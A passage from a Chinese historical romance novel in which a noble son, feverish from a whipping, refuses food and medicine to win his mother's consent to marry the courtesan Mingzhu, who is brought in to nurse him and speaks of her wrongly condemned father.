她见二哥昏昏沉沉地闭上眼,就先退了出去。 二哥不说,那她就去找正听问。 屋里安静下来。 凌岁津长睫微掀,又阖上了。 背上的伤像被万蚁啃咬着,又疼又痒,连躺下都不能,他侧身蜷在被子下,额发被冷汗浸透了。 灵台起雾,不甚清明,在陷入昏睡前,只剩铭竹那句“风雨如晦,鸡鸣不已。既见君子,云胡不喜。” 也不知是外头下雨了,还是梦里,他恍惚听到风雨敲打窗台,阴云堆叠,天光黯淡,墙根下一丛摇曳的青竹却愈发碧翠。 铭竹姑娘从雨中走来,纤纤素手,执一把桐油伞。 她的目光柔和恬淡,带着轻盈笑意望向他,穿过了重重雨幕。 既见君子,云胡不喜。 既见君子,云胡不喜。 …… 背上更加疼得狠了。 想必已开始溃烂,因而生出热毒来。 凌岁津额上满是细密的汗,迷迷糊糊间,有人用温热的帕子替他擦了擦,又将一抹凉意贴在他额头上,驱散几分不适。 不知为何,凌岁津想起那日他去见铭竹,坐在凳上,她湿了帕子弯腰给他擦脸,他抬头看她,仿佛一脚踏空,落在一汪波光粼粼的湖水里。 铭竹的眼极美,睫毛长而卷翘,线条流畅漂亮,眼尾弧度微微上扬,却无俗气的媚感。 她的瞳仁黑而明亮,噙着温柔的笑,似春风般拂过湖面,凌岁津瞬时看得痴了,不过涟漪漾开,难见那湖面下的光景。 他那时便想,铭竹像本古书,翻开一页足以读许久。 她一定经历了很多事,才走到今日。 不知是否因他的承诺触动,铭竹向他吐露了身世,是那样凄惨,令人不忍卒听。 凌岁津胸腔的心脏僵了片刻才重新跃动起来。 抛却他对铭竹本身的同情,敬佩,歉疚,还有……之外,他所读之书,所晓之理,也绝不会让他能冷眼旁观。 全一人者德之轻,拯天下者功之重。 所谓君子,所谓科举,做官,并非为全己美名,而是为天下人谋福祉,此亦是他所循道义。 何况……何况道义之下,他也确有私心。 只是他一人之力尚弱,想要既替铭竹全了心愿,又能护她周全,为今之计,也只能以自己性命作赌。 伤处传来的灼烧感愈发强烈,似透过骨皮血肉蔓延至每条经络,让他血管里流经的血液也沸腾起来。 他不舒服极了,睫翼颤着,汗淌得更厉害了。 汗珠顺着脖颈滑落到胸口,寝衣黏在身上,崩得紧紧的。 正当他呼吸不畅时,一双手伸了过来,掀开锦被,一点一点,慢慢解开他衣襟。 空气里的凉意随之渗入,总算缓解了些疼痛引起的燥热。 只是那双手并未停下,将他衣裳从肩膀处向下剥落。 凌岁津竟忆起初见铭竹那晚,醉酒后他神思迷失,不知怎的与铭竹姑娘同榻安眠,那夜风流种种他无法记得细节,值此昏昏之际,却反触及了那时欢愉体感,于是更加难以控制,连气息都焦灼起来…… 或是那阵凉意使他清醒了几分,又或许贴近的气息令他感到陌生不安。 他忽然寻回几分思绪,责备自己自诩君子,以圣人所言立世,既已犯下大错,又怎能在梦里还要重来一次,从恶如崩? 他紧蹙眉,挣扎中,终于醒来,与一双紧张羞怯的眼径直对上。 原来不是梦!…… 凌岁津惊得坐起,一下将衣裳拢紧。 “……你做什么?” 琉光连连后退,紧张跪地,耳根处的红晕尚未退去。 “公子,我奉夫人之命来……来给你擦身子上药……” 凌岁津向来乖巧懂事,郭夫人没想到他性子是这般倔,疼得如何也不肯上药,连饭都不肯吃,她急得没法,只好想出这个办法,趁他昏睡时,让丫鬟给他偷偷上药。 “荒唐!” 凌岁津低喝了声,有些头晕目眩,不得不撑着脑袋缓了缓。 他疲弱喘息片刻,才看向跪在地上不敢说话的丫鬟,语气放轻。 “起来吧……这样的事不好,以后不要再做了。” “你去同母亲回话,不必在我院里,我这里无须人伺候。” 琉光颤了颤,哭了出来。 “公子若赶我走,我就没有立身之处了。” “怎会?咳咳咳……” 凌岁津系好衣带,急促咳了一阵,才沙哑道,“你原先是哪个院的就回哪儿,母亲不会为难你的。” 琉光哭着不答。 凌岁津皱眉,又问了一遍,才从她嘴里听到实话。 她说自己被夫人拨来服侍公子,不仅仅是照顾生活起居,更是要给公子做通房的意思。 “夫人说……夫人说……公子就是未经人事,才会轻易被外头的女人……” “慎言。” 凌岁津打断了她。 他扶着床柱勉强起身,拿起外袍穿好,双腿乏力,几度有些站不稳。 琉光欲过来扶他,被他抬手推开。 “离我远些,你大可留在卿月院,只不许再进我屋子,我会亲自去找母亲说。” 凌岁津不再看她,提了气向外喊:“正听,正听。” 正听一直在屋外,闻声激动地风一般卷了进来,险些没刹住。 “公子!我来了!” 凌岁津抓住他手,倚靠着他:“正听,劳烦你背我去玉林院。” 他实在没力气了。 琉光忙道:“公子,夫人就在卿月院偏院。” 凌岁津向她道谢。 而后对正听说:“那就送我去偏院。” - 这几日郭夫人一直没回自己院子,她实在不放心,只好亲自守在卿月院,于是就住在偏院,与正院只隔了一道月亮门。 这会儿田氏谢氏正在身边陪她聊着话,三小姐凌茜则坐在窗下安静绣花。 凌岁津在门外就让正听将他放了下来,他强撑着挺直脊背,修整仪容,提膝跨进屋子。 “母亲,姨娘。” 郭夫人见到他来惊喜不已,当即起身问道:“泽儿!你好些了?伤口还疼不疼?怎么过来了?有什么话 吩咐下人来说即可,快快……快坐下,到母亲身边来坐。” 凌岁津轻轻摇了摇头。 他看了眼屋子里的人,将视线落在谢氏身上,礼貌道:“请姨娘将西西带出去一会儿。” 谢氏望了眼郭夫人,点头应好。 凌茜跟着母亲离开前,一直回头看二哥,心想几日时间,二哥真是瘦了好多。 她们一走,田氏便也有些坐立不安。 郭夫人心下微沉,开口让她与丫鬟都退下去。 田氏忙起身,路过凌岁津身旁欲言又止,最终只担心地说了句:“泽哥儿,不要拿自己身子开玩笑。” 门关上。 屋里只剩下母子二人。 凌岁津望向母亲,率先打破沉默。 他柔声说:“是儿子不孝,让父母忧心了,我知道母亲都是为我好。” 郭夫人原本正积蓄的怒气因这话瞬间散去,化为一颗颗的眼泪涌出来。 她颤声:“泽儿啊……” 在生凌岁津之前,她小产过两次,原以为此生再无子嗣,她才默许了凌敬纳妾,田氏进门后两月就有了身孕,诞下长女凌华。 她没那么大度,她心里恨得很。 她同凌敬从前也算琴瑟和鸣,相敬如宾,从那之后,再回不去了。 好在几年后,她终于有了岁津。 这胎来之不易,怀得艰难,她这忌口那小心,却依然在生产时出了意外,险些没能保得住他。 他未足月出生,生来体弱,连哭声都听不见,她当真是捧在手里含在嘴里,才将他好好养大,养成这般翩翩少年。 如今他站在自己眼前,好容易红润的面庞不见血色,嘴唇苍白,精神萎靡,短短几日瘦得衣袍也宽大许多。她怎会不心痛!她只能比他更痛! 郭夫人步上前来,伸手抚上他脸,含泪道:“我儿听话,别再同母亲任性了,好吗?那只是一个青楼女子,不值当你如此,就算你不愿娶郡主,母亲再给你相看其他姑娘好不好?” 凌岁津握住母亲的手,尚未开口便觉喉间干痒难耐,犹如针扎,不由偏向一侧急促咳起来,咳得剧烈。 “泽儿!” 郭夫人忙抱住他,想拍拍他的背,又怕触碰到他背后的伤,一时泪落不止。 凌岁津无暇回应母亲,猝然觉得骨子里浸了寒毒般发冷,可背上又火辣辣的疼,当真是冰火两重天。 他咳了好久,勉强停下时,一股甜腻却翻涌上来,他张嘴呕出一口鲜血,浑身都脱了力。 郭夫人吓得两眼发晕,回过神正要喊人,被儿子用力攥住手腕。 “母亲!” “母亲……本就是我对不起她……” 凌岁津额上汗如雨下,呼吸困难,胸口急促起伏着。 他定定望着母亲,目光决然不移。 “她失节于我,我不该失信于她。我曾向铭竹姑娘立誓,她若愿意,我必娶她为妻,若违此言,当五雷轰顶,挫骨扬灰。” 郭夫人僵在原地,耳边似响起炸雷。 凌岁津眼前阵阵发黑,将要捱不住,倒下前强撑一丝力气说出最后请求。 “若我身死,还请母亲应允,替我护她性命,送她离京。” 16.劝慰 铭竹抱着琴下楼。 方才王妈妈派人告知,凌大人来了,在四楼等她。 她有些意外,却也有些期盼。 凌大人既愿意来,或许是父亲的案子有了进展。 她一路走到尽头,在那间熟悉的屋子前停住脚步。 ……不是凌大人。 凌大人的习惯是门虚掩着。 她从容敲门,是一个圆脸桃腮的丫鬟开的。 铭竹并不认识她。 但她进屋后,抱着琴朝屏风后的人影径直行了行礼,道了声:“郭夫人。” 那人影微动,随即从屏风后走出一位年过四十,眉眼英气的高门贵妇,着烟紫织金袄上衣,泥金藕色褶裙,外罩淡青色灰鼠披风,发髻高挽,金簪步摇,腰佩白玉,在烛光下端得是富贵逼人。 “你如何认得我?”郭夫人视线冷冷顿在她身上。 除了短暂的诧色外,又转为更深的嫌恶。 铭竹再次施礼:“来者是客,若不识客,便是有失待客之道。” 郭夫人啐道:“下贱东西,谁是你的客人,果真长了一张巧嘴,天生就会狐媚惑主。” 原是带着气来的,铭竹悄然打量她。 不是为了凌敬便是凌岁津,想是凌岁津的原因更大些。 仆随主,郭夫人发怒时,那丫鬟便有向她动手之意。 铭竹侧身半步,瞥了她一眼,她似有顾忌,没有上前,只是疾言厉色道:“既识得我家夫人,还不跪下认罪。” 铭竹抱着琴不动,态度亦不卑不亢。 “即便是凌大人在此,也不能不审就定我的罪,铭竹纵是贱籍,卖身契却不在你们凌家,更不必下跪。” 黄鹂哑口无言,拿眼瞪着她。 郭夫人冷笑道:“不用,也不是什么人都能跪我。” 铭竹颔首,直言问道:“所以夫人来此,也不是为了听我弹琴的……是为了凌公子?” 她主动提及凌岁津,仿佛用利箭射中了郭夫人要害,激得她气息都急促三分,低喝道:“你还敢说,勾引我丈夫不成又勾引我儿子,害得他为了你罔顾双亲,连自己命都不要了,你……” 她气得发抖,指着铭竹:“你好歹毒!” 凌岁津果然是在家里闹起来了么。 铭竹心底无声叹了叹。 虽心有歉疚,她已不能回头,因而神色自若地扯着谎。 “当日之事错不在我,是凌公子醉酒在先,强辱于我,失我清白。此事凌大人那儿已有定论,若他发现是我算计,我又岂能好端端站在这儿呢。郭夫人,今日来此想必不止是兴师问罪的吧?可是凌公子有事?” 郭夫人眼眯了起来,满是溢出的恨与厌,几欲将眼前这个人面兽心的妖女五马分尸。 她淡定从容,说话也滴水不漏,她无法反驳。 凌敬那儿她确实也反复问过,的确没有证据,但她身为女人的直觉,这其中没有算计根本不可能! 凌岁津朗若明月,凭何立那恶毒誓言!她将他害成那样,真正该五雷轰顶挫骨扬灰的是她才对! 她深吸了口气,强迫自己冷静下来。 “黄鹂,你到门外守着,不许任何人靠近。” 丫鬟剜了眼铭竹,应声去了,将门带上。 一阵风引得烛火晃动,将二人的影子拉扯扭曲变形。 室内昏昏,只余几盏短焰,及一个朝暗巷开的天窗,浸入了更加昏暝的天色。 有那么几瞬,铭竹看不清郭夫人的神情,但她知道,她恨毒了自己。 作为一个母亲,她有正当理由。 出身世家,少学礼教,却愿为了孩子放下尊严,踏足风月场所,亲自同她对峙,铭竹倒有些钦佩她。 她温声道:“我知夫人不愿在此,那就请夫人直明来意,也好早早离去。” 她抱得手酸,将琴摆到琴案上,于后坐下。 “或许夫人想先听我弹一曲,缓缓情绪。” “靡靡之音,莫污我耳。”郭夫人斥道,“琴乃高雅之物,陶冶情操,涵养心志,似你们这等人只会用来邀宠媚主,不配抚琴。” 铭竹不语,尽管抬手拨弦,一段流水似的琴声自指尖泄出,泠然清脆。 待余音减弱,她才按住琴弦道:“似我们这等人,并非天生下贱,也是有父母生养的,只是天有不测风云,人有旦夕祸福,今日起高楼宴宾客,难说明日又是何光景……总得先活下来。” “夫人既不听琴,想必更不愿听我说话了,气大伤身,不如直接吩咐,您希望我为凌公子做什么呢?” 这个女子年纪轻轻,真是聪明得可怕,似能看穿人心。 郭夫人艴然不悦,一腔怒火却又无处灼烧。 她的确是不得已前来,也耽搁不了太久。 岁津在以命逼她! 在这个女子面前,他十七年来的教养、孝义,竟能全然弃之,她还能如何! 但她不愿在铭竹这个她断然看不上的青楼女子面前露怯求全,她依然挺直脊背站在她面前,居高临下,维持最后一丝倨傲。 “我可以允许你做凌泽的妾室,但往后你要老实本分,断不可有不该有的妄想,也不许生下我凌家的孩子,更不能阻止凌泽娶妻。” “你若答应,现在就收拾一番,随我回趟凌府,与泽儿当面说清楚,劝得他好好上药,吃饭,否则——” 她猛地迫近,发红的眼底迸着彻骨寒意。 “我会让你此生再无立足之地。” - 卿月院人进进出出,稍显得乱。 不久又没了动静,只有内院里屋人还未散。 这会儿才到戌时,田氏、谢氏皆在此,凌敬尚未从衙署归家,郭夫人也不知去了何处。 昨日凌岁津猝然昏倒,引得卿月院乱了一阵,大夫来看过,开了药,却喂不进去,这几日除了喝点水,凌岁津当真是什么也不吃,连伤处上的药也都是趁他昏睡之际悄悄上的。 田氏谢氏并不知他与夫人在偏院中说了什么,竟是急火攻心,一下就危急了,即便再年轻也难再这样硬熬下去。 郭夫人也急得险些昏厥,总算愿意妥协让步。 凌敬气了许久,才软下态度:“不过是买个女人,就如了他意,就当我们为人父母是欠他的罢。” 郭夫人带铭竹从角门进的,到卿月院时,大多丫鬟婆子都在外院忙活,不给挤在里头,只有田氏谢氏、凌茜,并两个丫鬟在,凌岁津的两个贴身小厮则蹲在廊下求神拜佛。 不知出于什么心理,郭夫人仍是不愿让人瞧见铭竹,便在进门前让黄鹂遣散了其他人。 因而铭竹入进去前,只有一个丫鬟从里头出来,满脸泪痕,同郭夫人哭哭啼啼说,给公子喂了几回参汤也还是吐了。 郭夫人不忍再听,对铭竹道:“你进去,我不管你用什么花言巧语,只要哄得泽儿乖乖吃药治伤,就算你立功一件。” 铭竹福了福身,进到里屋。 凌岁津的卧房比她想象的要清雅些,没有过多装饰,乍一看不像富家子弟,无奢华之感,仔细一看倒也处处藏锋。 外间点了一炉香,她能闻出几味药材,乃安神之用,只是用量稍大,气味浓郁,她不大喜欢。 她跨进里间,一下又闻见了安神香也盖不住的刺鼻药味。 昏黄烛光下,她拨开床幔,见凌岁津正侧卧在床,面无血色,只有颧骨处泛着高热的病态潮红。 他眉头紧锁,盖着被子也依旧发冷,然额角又沁出细密冷汗,可见大不舒适。 床边小桌上放着药碗,参汤碗,地上还有些水渍,大约是刚收拾完不久。 铭竹蹙了蹙眉,坐在床边,掀起被角寻了他手把脉。 他似不惯被人触碰,人虽不清醒,肢体却有挣扎之意。 铭竹稍用了些力,握住他腕骨。 几日不见,他清减许多,竟显出久病成疾,病骨支离之相。 这可不好。 虽年轻,到底还是底子不足。 她细细把了脉,眉宇间愁绪更深,忍不住上手剥他衣裳,去检查他背上的伤。 “……别……碰我……走……开……” 他含混不清地呓语。 “凌公子,凌公子……” 铭竹依旧未松开他手,倾身凑近,柔声细语地唤他。 他只是气息乱了些,人没什么反应。 伤者为大,铭竹虽不算个大夫,好歹也学了好些年医术,眼下这种情况也顾不上许多,略强硬地解他衣襟。 他潜意识反抗着,却因太虚弱没什么力气,直至被铭竹褪去里衣露出锁骨时才终是恼怒醒来。 “你……” 一个字才出口就顿住了。 那双惺忪的眸子染着绯红,泛着雾气,呆呆盯着铭竹的脸,眨了又眨。 铭竹莞尔,拂开他汗湿的额发,用指尖在他额上轻轻一点。 “凌公子,几日不见,难道不认得我了?” “铭……铭竹姑娘……” 凌岁津满眼不敢置信,恍置身梦中。 铭竹姑娘怎会出现? 他,他此刻分明是在家中,在卿月院。 难道是正听那厮带着她偷偷进来了不成? 他高烧不退,脑袋浑浊混乱,竟问她:“铭竹姑娘,你是钻狗洞进来的吗?可让人瞧见了?” 狗洞?…… 铭竹一愣,随即想起什么,低头笑出了声。 原来上次他来见她,是钻狗洞偷溜出来的,怪不得那样狼狈。 分明是世家贵公子,怎的不是钻狗洞就是走后门,和她印象中所认识的其他人全然不同。 她握着他手的那只手捏了捏他虎口,玩笑道:“我不需要,我是从天上掉下来的。” 见他迷离恍惚的模样,铭竹又忍不住笑。 她轻声说:“凌公子,你既要娶我,我们又已有了夫妻之实,那能乖乖脱了衣裳,准我看你的身体,对吗?” 脱衣裳……怎么能脱衣裳呢…… 可铭竹姑娘的话,说得很是在理。 他的确是要娶她的,他们又的确做过一夜夫妻,曾有过最亲密的时刻。 那……那他若不给她看,岂不会让她以为他是在说假话? 她毕竟同别人是不一样的。 “嗯。”他乖巧点头。 不用她动手,他便主动解了衣襟,敞开领口,苍白锁骨间似流转着月光,一路滑向胸膛,又熄灭在锦被下的阴影中。 铭竹面不改色:“转过身,趴好。” 凌岁津抱着软枕,将脑袋埋在里面,乌发墨迹般散开,掩去他清朗如画的侧颜。 铭竹起身又端了盏烛台过来细看,心中一沉。 如他小厮所说,他受了一顿鞭子,看样子是软鞭,只是行刑之人用力过猛,皮肉打得绽开了。 虽止了血,却未及时清理上药,拖了这几日,伤口已开始溃烂发红,幸而早春还不算热,若是在夏天,或 是再拖上几日,便要长成毒疮了。 那时只怕神仙难救。 想必是郭夫人也听大夫说了严重性,才被逼无奈亲自去找她来。 “我给你的药怎么不用呢。”铭竹低声问。 没听到回应,她将他的发拢到一旁,发觉他又昏睡过去了。 铭竹探了探他额头,很是烫手。 听郭夫人的意思,他不仅不愿上药,还不愿吃饭喝水,硬生生把自己作成这般,好端端一个意气风发的少年,短短时日就病倒了。 她望着凌岁津疲弱的脸,有些动容。 他为她能做到这个地步,她不震撼是不可能的,她又不是铁石心肠。 事已至此,她只能往前。 铭竹来到外间,郭夫人沉默地坐在厅中,闭着眼,似入定了。 听到脚步声,她才缓缓睁开眼,看向铭竹。 铭竹轻声道:“请夫人让人准备热水,纱布,伤药,以及吃食来,不要参汤,同参一同熬煮的鸡汤最好,里头再加些红枣莲子与红糖。” 她说罢也不等郭夫人答应,又转身回了里面。 郭夫人果然没有叫住她,也什么话都没问。 但没多久,她要的东西都准备齐全送了进来。 铭竹看了眼,凌府的伤药都是最好的,比她配的那罐要好很多。 若是一开始就认真上药的话,只怕今儿都好了。 她叹了口气,给凌岁津重新清理伤口,涂药,包扎,将他半褪的衣裳轻轻拢上。 “凌公子,凌公子……” 她又柔声唤他。 不能任由他一直睡,他什么也没吃,又发着烧,是饿晕了。 凌岁津眼皮似有千钧重,神思迷失,混沌无常,能隐约听见铭竹的声音,却分辨不出内容,更无法回应她。 他只觉倦极困极,仿佛有只手拖着自己往深渊坠去,连躯壳也不是自己的了,使不出一点力气。 迷迷糊糊中,他似乎被人托起,紧接着铭竹的声音更近了,犹在耳畔,春风化雨。 “凌公子,你说要娶我,还作数吗?” 这话清晰落下,似一块石子投入平静湖面,咚的一声。 凌岁津胸腔的心脏也仿佛随之震了下。 作数的,当然作数! 既已立誓,若失信于你,凌泽还有何脸面行走于世,愿以性命向你践诺。 铭竹姑娘,请你信我。 他在心底喊着,却说不出一个字来。 嘴唇因干燥缺水,毫无血色,嚅嗫半晌,只有几声呓语般的音节。 “来,张嘴,慢慢咽下去。” 有什么汤药顺着唇缝渗入,润泽他早已干涸不已的唇瓣。 但他已尝不出味道,透过唇齿抵达舌尖,再漫向喉咙,于舌根处弥漫苦涩。 好苦好苦,苦得人作呕。 他本能地抗拒起来,唇抿得紧紧的,难受得很。 铭竹低头看他,他靠在她肩上,双眸紧阖,呼吸灼热,热泉般的气息顺着她颈侧流淌,有些痒痒的。 久不进食,又在高热中,味觉会受到很大影响,发苦是正常的。 她放下鸡汤,换了杯温水,依然用勺子喂他。 水无色无味,要好得多,如久旱逢甘霖,凌岁津渐渐适应起来,愈发觉得口渴。 于是铭竹便又放下水,继续给他喂鸡汤,直到他再次抗拒。 如此这般几个来回,总算喝了大半碗。 铭竹观察了会儿,他也没有要吐的迹象,才算放下心来。 又等了片刻,凌岁津渐渐比方才清醒一些,只是仍没什么力气,他靠在铭竹肩上,脸不知因高烧缘故,比之前红得更透。 “铭竹姑娘……” “嘘。” 铭竹轻轻摸了摸他的脸。 “凌公子,下次莫要这样对待自己,生命可贵,难再重来。” 她略调整坐姿,叠起枕头,扶他靠上去。 自己则起身将铜盆端来近前,湿了帕子,为他擦汗。 凌岁津目不转睛地望着她。 灯下,铭竹的发丝丝缕缕泛着细碎柔光,又在她周身勾勒出一圈明晰的轮廓,她美眸微垂,神情恬静,好似再大的风雨也要为她止步。 烛光昏黄晕染,她坐在面前,像一幅神女图。 铭竹抬手将垂落的碎发别至耳后,微微侧首,抬眸将目光投向他时,携了些嗔意。 “你……” “到底有没有听我说话?” “啊?……噢嗯嗯……听见了……” 凌岁津点头不迭。 他睫翼颤着,像是某种隐秘心思被人道破似的,露出笨拙而青涩的羞赧来。 铭竹拿着手帕,像上次那样温柔掠过他额头,脸庞,又重新湿了帕子,让潮湿覆在他脖颈间。 她指尖无意触碰到他时,他不禁气息一顿,汗毛也竖起来,整个人僵在那儿。 铭竹收回手,将帕子扔回盆中,拧干,叠起,敷在他额上,才认真道:“凌公子,既说要娶我,若你死了,难道我要和一个鬼去冥婚?” 凌岁津一愣:“什么是冥婚?” 铭竹:“……” 他眼神太过清澈,又是诚心发问,让铭竹又无语又好笑:“就是和你的牌位拜堂成亲。” “……活人怎能和牌位拜堂?天下岂有如此荒诞的道理?” “所以你要好好活着,我也是。”铭竹眸子明亮,蕴着浅笑,“好吗?” 17.说定 铭竹抬手在凌岁津眼前晃了晃。 “凌公子,你不会发烧烧傻了吧?” 否则怎会一直呆呆看着她。 许是那只纤细素白的手太近了,凌岁津不知怎的竟下意识轻轻握住。 “铭竹姑娘,我虽有些头疼,却没有傻,你说的我听见了。” “既听见了,那从此刻起,便要好好吃饭,上药,休息,快些康复,可以吗?” “可是,可是……我是因为……” 他欲答应却又想起现状,眼下父母仍未承他所求,他对铭竹的诺言还未践行,不敢就这样放弃。 “我都知道,凌公子。” 铭竹抽回手,扶住他肩膀,目光温和有力。 她稍稍坐近了些,将他凌乱的发慢慢拢到身后,又将手轻贴到他额上,他们的体温隔着帕子慢慢相融着。 “这正是我要与你说的。” “我已明白你的心意,但你我身份云泥之别,你要明媒正娶我实在极难,纵然你心甘情愿,却也不能不顾及你父母族人,你凌氏的名声,只为周全我而使你不忠不孝,非我所欲也。” 凌岁津怔了怔,似乎明白了什么,他直言问铭竹是否是他母亲去找了她,与她说了不好的话,又或者…… 他脸色微白:“铭竹姑娘,是我母亲逼迫你来的吗?” “我不是说了吗,我是从天上掉下来的。” “铭竹姑娘,我不是小孩子。” 铭竹一愣,随即轻笑颔首:“看来人果然清醒了,瞒不过去了。” “凌公子,想必你已知晓我那晚藏起你贴身玉佩的事了,我向你坦白,我有私心,我是以此要挟凌大人为我父翻案,但我也考虑过,我用这样的手段得罪了凌大人,必是无法安生了,因此为了自保,我原打算在来南浔阁的贵客中物色一位同样位高权重的大人投靠,做妾也好,亦或妾也做不得,成为他们的掌中玩物,也是我所想过的路。” 她口吻淡然,却说着如此沉重的话,听得凌岁津触目惊心,欲言又止。 铭竹看他:“凌公子,我家破人亡,拼命活下来,是因为我还有个弟弟在岭州受苦,若为父亲翻案,即便我死了,不能去岭州接他,他也不至于一直背负着莫须有的罪名立足世间,至少将来还有指望。” “当然我还是希望有朝一日能与他团圆,以慰父母在天之灵,故此,即便沦落权贵之手,只要他愿意予我一条生路,无论将我磋磨成何样,我都将甘愿承受……凌公子,你这般为我,我属实未曾想到,我很感激你,但……” 她顿了顿,摇头。 “但你想的那条路太难太难,你有父母亲长,婚姻大事并非你一人所能决定,而铭竹孤身一人,只求个安身立命之所罢了,并不在意名分,所以……所以还请你莫要再继续坚持,你是个朗朗君子,铭竹愿做妾侍奉你左右,在你院中遮蔽风雨。” 她还有许多未尽之言难以出口,若是凌岁津再不接她出去,南浔阁就容不下她了,届时她一定入白恒一彀中,再难脱身。 可白恒一与凌敬乃政敌,她不能提,提了会让事态更加复杂,更加于她不利。 凌岁津垂眸不语,眼眶通红。 铭竹一番话在他心中掀起骇浪,久不能平静,他此刻才深知铭竹处境比他所想的还要艰难,她一个纤弱女子,这些年来如何能承受这么多。 若是他能够……能够像父亲那般身居高位,手握重权,不受他人钳制,他定能强硬地护下铭竹,为她父亲正名,再给她一个风光婚礼。 至于流言,名声,那不过是世人不明真相的诽谤,他行得正站得直,此心光明,不惧于此,也必不使这些传入后院,扰了铭竹清静。 可他如今什么也做不到,她那样信他,他却赌上性命也只能换来一个这样委屈她的结局,对她很不公平。 他实在歉疚极了,歉疚得无以复加。 他不知要怎样开口,才不算失信。 他发过誓,他…… 手背蓦然被柔软覆盖上,铭竹掌心温度缓慢驱散着他指尖的寒意。 凌岁津的手出了好些冷汗,指节苍白冰凉,铭竹浑不在意,用双手交握住,定定望着他。 “凌公子,你已为我做到了,你没有失信。” - 铭竹回到南浔阁已是下半夜,方推开房间的门,就怔了一怔。 她房间原有些客人送的衣裳首饰是装箱放在梳妆台后的,如今那几大箱子已被搬空了。 倒也不算意外。 原先是凌敬,如今是郭夫人亲自来,想必是给老鸨龟公施了压。 南浔阁背后只是个商人,靠情色结交权贵做保护伞才在京中稳稳立足,因此是最不愿得罪他们的。 即便她是花魁,但说白了也只是众多妓女中的一个,只要寻个她身染重病的理由,就能将她驱逐出门。 至于花魁,再推个懂事听话的上来即可,反正漂亮是南浔阁姑娘最不缺的优点。 而铭竹看似身边贵人环绕,但为她花钱者多,为她得罪凌敬的却几乎没有,若是白恒一非要为她撑腰,她倒是也能继续留在南浔阁,可白恒一还巴不得她早日入他偏院,成为他囊中之物,又岂会帮她。 疲倦感似从心口透出,吐丝结网,将铭竹紧紧裹住,裹得透不过气。 她简单洗漱了下,走到窗边推开了半扇。 将要四月,天也逐渐热起来。 天边细细一弯玉钩,在云层中若隐若现,天地混沌难分,空气浑浊沉闷,半点无风。 她用力吸了口气,似要将清凉灌入肺腔,却依然觉得沉郁。 也不知是否要下雨。 铭竹没将窗户关实,留了道透气的缝,脱了外衣躺到床上。 很累,但无甚睡意。 她常常要想许多事,一静下来脑子就是满的,因而很少安睡。 弟弟五年前才十岁,被人押着前往岭州时,她一路悄悄跟着送到了城外,那样小的年纪,那样瘦弱的一个少年,却要被迫戴上沉重的镣铐,走不出十几里,手脚都磨破了。 听说岭州瘴疠之地,湿热难耐,蚊虫遍地,弟弟要怎样熬呢。 已五年了啊。 他从前在家里,虽不如凌岁津那样锦衣玉食,却也是父母姐姐宠大的,没吃过什么苦,被她欺负一下就会哭。 一想到他这五年可能受的罪,铭竹就心疼不已。 睡意渐袭,迷迷糊糊中她又想起在狱中见父亲的最后一面,短短半月,身材高大健壮的父亲就瘦的不成人形,他缩在蟑螂臭虫乱爬的枯草间,头发脏乱打结,衣着破损,满是受刑痕迹,一条铁链像狗一样拴着他,另一头系在恭桶上,骚臭难 闻。 他们逼他认罪,对他用刑,但父亲至死也无罪可认。 父亲向来衣裳齐整,洁净,发也用冠束得一丝不苟,因母亲体弱,父亲即便公事繁忙,也会整理内务,做饭炒菜,洗衣叠被,甘之如饴。 原先家里还有个老仆帮忙,但父亲俸禄总迟发少发,一家的生活都勉强维系,甚至还要拿出一点银子去救济穷人,于是遣散了仆人。 铭竹一家四口住在县衙后堂,后堂所有空地都被父亲辟成了菜地,一半种药材,一半种蔬菜,平日里这些菜地主要是铭竹带着弟弟一道打理,替父亲分担,母亲身体好时则浇浇水,或替丈夫孩子做做衣裳。 日子纵然清贫,但铭竹从未想过,有朝一日会落个颠沛流离的下场。 她做错了什么?父亲又做错了什么? 她曾不止一次向苍天神明发问,怨怼世道不公。 如今她已不再怨了,她平静地看清这一切是为什么,因为世道不是老天爷的世道,是人的世道。 正义公道,不是天赐予的,是人强求的。 南浔阁来来往往那么多权贵,任何人动动手指,那个偏远的松清县都能震上一震,可无人会关心在意一个七品小官的清白。 从前铭竹仰望着、崇敬着这些遥不可及的大官,她所读之书告诉她,他们似乎代表的就是“为国为民”四个字。 毕竟父亲这样低品阶的官也做到了。 他们应当更加鞠躬尽瘁才是。 可父亲被冤死狱中,而她四处求告无门后,她才真正开始懂得世间正义运行的规则。 所以她起初不信凌岁津,直到如今也还是觉得他天真。 铭竹乱乱做着梦,被人无端吵醒。 睁眼一看,竟是赤梨来了,她穿着她原先的一身定做的衣裙,戴着金银翡翠来找她炫耀。 “我觉得我穿得比你好看,你觉得呢?昨晚季大人见到我,眼都直了,名贵的酒多点了两壶,王妈妈高兴极了。” 南浔阁的房间不能上锁真是讨厌。 铭竹生出一股火气,说话便不客气。 “不过是拾人牙慧。” 赤梨问:“什么意思?你是在骂我吗?” 铭竹:“……” 一拳打在棉花上。 她扯了被子蒙住头,懒得搭理她。 赤梨不依不饶,得意地说起季大人昨晚还问铭竹,打听她是不是得罪了凌大人。 “季大人说,还是我比较可亲可爱,他只喜欢我,然后我就问他要不要捧我做花魁。” 铭竹掀开被子一角,露出只灵秀的眼:“那他怎么说?” 赤梨托着脸,一脸娇羞:“他说你哪天不是花魁了,他就捧我。” 她说罢,又好奇追问铭竹,凌大人不来了,不还有白大人嘛,难道她把白大人也得罪了? 铭竹未答,反倒沉吟起来。 季原此人官居五品,有些要攀附晋王府的意思,凌敬表面上与晋王府走近,所以他才会打听这些。 若是晋王府世子能来南浔阁就好了,她至少还能争取多一个选择,怎么也比白恒一要好。 正思量着,王妈妈忽然亲自上楼来,见到赤梨有些意外,等她走后,她才略神情复杂地开口。 “白大人今晚要来,但下午有另一位贵人请你出阁。” 18.事毕 王妈妈丢下句“你自己掂量”就走了。 铭竹坐在榻上沉思。 “出阁”不过是效仿千金小姐出嫁的美化说法,实则是一顶软轿将人接到府上过夜,第二日一早再送回来。 王妈妈让她掂量不是给她选择,恰恰是说她没得选,时间上重叠就只能选一方。 她这般身份从来只是“被选”,何曾有过选择的权力,无论怎样运作,都必定会惹一方不快。 她谁都惹不起。 铭竹倒在凌乱的被子上,思考这位“贵人”是谁。 明面上她是凌敬的人,所以就算其他人要见她,也只能在南浔阁,也不会对她做什么,虽说凌敬与郭夫人对她态度不对,但这事又没广而告之,别人是不知道的。 就算是白恒一也不会大摇大摆请她出阁。 也就是说,这人并不怕得罪凌敬,莫非…… 莫非出自晋王府? 铭竹嚯得坐起,抬手按在心口。 她这是神佛护体了?才想着若是晋王世子看上她就好了,就立即心想事成。 